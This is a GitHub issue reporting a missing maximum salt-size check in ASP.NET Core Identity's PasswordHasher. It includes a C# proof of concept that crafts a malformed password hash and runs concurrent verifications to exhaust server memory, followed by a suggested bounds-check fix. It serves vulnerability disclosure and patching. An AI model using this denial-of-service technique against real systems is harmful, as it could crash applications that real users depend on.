-
Notifications
You must be signed in to change notification settings - Fork 10.4k
Description
Is there an existing issue for this?
- I have searched the existing issues
Describe the bug
The PasswordHasher<TUser>
class, which is the default password hashing implementation in ASP.NET Core Identity, is missing a validation for maximum salt size, that is read from stored password hash, before allocating an array of that size in VerifyHashedPasswordV3
method (version 3 of hash format is currently default version). Link to source code at source.dot.net.
The method reads the salt size directly from the password hash header without implementing proper bounds checking. While there is validation for minimum salt length, no upper bound validation exists. This lead to potential vulnerability, as an attacker can specify an arbitrarily large salt size, causing immediate memory allocation of new byte[saltLength]
without any safety checks.
Possible Attack Vector
- Prerequisite: Attacker must have direct write access to the database/storage containing user password hashes
- Exploitation: Attacker modifies the
AspNetUsers.PasswordHash
field to include a maliciously crafted hash with an extremely large salt size value - Triggering: Each subsequent login attempt for the compromised user account triggers massive memory allocation
- Impact: Multiple concurrent login attempts can exhaust server memory, causing application crashes
Technical Details
- The salt size is read as a
uint
value from bytes 9-12 of the password hash - No validation exists for maximum salt size (e.g., reasonable limits like 1KB-1MB)
- Memory allocation occurs immediately upon reading the salt size
- The vulnerability affects the default password verification path for all ASP.NET Core Identity applications
Proof of Concept
Environment
- Test System: 32GB RAM personal computer
- Attack Efficiency: <100 concurrent requests required for complete memory exhaustion
- Package Version: Microsoft.AspNetCore.Identity 2.3.1
Demonstration Code
// dotnet add package Microsoft.AspNetCore.Identity --version 2.3.1
using Microsoft.AspNetCore.Identity;
var hasher = new PasswordHasher<User>();
var password = "my_secure_password";
var hashedPassword = hasher.HashPassword(null!, password);
var rawBytes = Convert.FromBase64String(hashedPassword);
// Modify salt size in password hash header to trigger excessive memory allocation
// 2147483591 is the maximum value for a byte array size
WriteNetworkByteOrder(rawBytes, 9, int.MaxValue - 56);
var maliciousHashedPassword = Convert.ToBase64String(rawBytes);
var iterCount = 100;
var tasks = new Task[iterCount];
for (int i = 0; i < iterCount; i++)
{
tasks[i] = Task.Run(() =>
{
var result = hasher.VerifyHashedPassword(null!, maliciousHashedPassword, password);
Console.Write(result == PasswordVerificationResult.Success ? "." : "F");
});
}
await Task.WhenAll(tasks);
Console.WriteLine("\nPoC completed. Check memory usage.");
Console.ReadLine();
static void WriteNetworkByteOrder(byte[] buffer, int offset, uint value)
{
buffer[offset + 0] = (byte)(value >> 24);
buffer[offset + 1] = (byte)(value >> 16);
buffer[offset + 2] = (byte)(value >> 8);
buffer[offset + 3] = (byte)(value >> 0);
}
class User;
Suggested Actions
- Input Validation: Implement maximum salt size validation (suggested reasonable maximum ~1KB-1MB)
Code Fix Example
Add upper bound validation
public class PasswordHasher<TUser> : IPasswordHasher<TUser> where TUser : class
{
// Existing code
private static bool VerifyHashedPasswordV3(byte[] hashedPassword, string password, out int iterCount, out KeyDerivationPrf prf)
{
const int MaxSaltSize = 1024 * 8; // 8 KiB
// Existing code
// ...
int saltLength = (int)ReadNetworkByteOrder(hashedPassword, 9);
// After reading salt length, add bounds checking:
if (saltLength > MaxSaltSize)
{
return false;
}
}
}
Expected Behavior
No response
Steps To Reproduce
No response
Exceptions (if any)
No response
.NET Version
No response
Anything else?
No response